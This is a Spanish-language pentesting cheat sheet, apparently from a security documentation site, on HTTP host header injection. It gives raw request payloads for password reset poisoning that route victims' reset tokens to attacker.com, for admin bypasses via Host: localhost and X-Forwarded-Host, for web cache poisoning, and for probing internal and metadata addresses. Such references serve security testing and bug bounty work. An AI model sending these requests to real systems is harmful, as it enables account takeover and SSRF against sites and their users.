host header injection
Host Header Injection
Section titled “Host Header Injection”La cabecera Host indica al servidor el nombre del host al que se dirige la petición. Si la app usa este valor sin validar en operaciones críticas, se pueden realizar ataques como password reset poisoning, cache poisoning o SSRF.
Password Reset Poisoning
Section titled “Password Reset Poisoning”-- Petición de reset normal --POST /forgot-password HTTP/1.1Host: target.comContent-Type: application/json{"email": "victim@empresa.com"}→ Víctima recibe: https://target.com/reset?token=ABC
-- Con Host header modificado --POST /forgot-password HTTP/1.1Host: attacker.comContent-Type: application/json{"email": "victim@empresa.com"}→ Si la app construye el link con el header Host:→ Víctima recibe: https://attacker.com/reset?token=ABC→ Atacante captura el token en su servidor y resetea la contraseñaBypass de autenticación con Host
Section titled “Bypass de autenticación con Host”-- Si la app considera que localhost = acceso interno sin auth --GET /admin HTTP/1.1Host: localhost
-- X-Forwarded-Host para anular el Host --GET /admin HTTP/1.1Host: target.comX-Forwarded-Host: localhost
-- Acceso a servicios internos --GET / HTTP/1.1Host: 192.168.1.10Web Cache Poisoning
Section titled “Web Cache Poisoning”-- Si el caché almacena por URL pero sirve distinto contenido según Host --GET / HTTP/1.1Host: target.comX-Forwarded-Host: attacker.com
-- Si la respuesta incluye el Host en scripts/links y se cachea:-- Otros usuarios recibirán la versión con attacker.com como dominio-- Potencialmente: cargar JS de attacker.comDetección
Section titled “Detección”# Headers a probarHost: localhostHost: 169.254.169.254Host: attacker.comX-Forwarded-Host: attacker.comX-Host: attacker.comX-Forwarded-Server: attacker.comX-HTTP-Host-Override: attacker.comForwarded: host=attacker.comEl Host Header injection en password reset es uno de los más impactantes en bug bounty porque permite tomar control de cualquier cuenta sin interacción técnica compleja — solo social engineering con el link envenenado.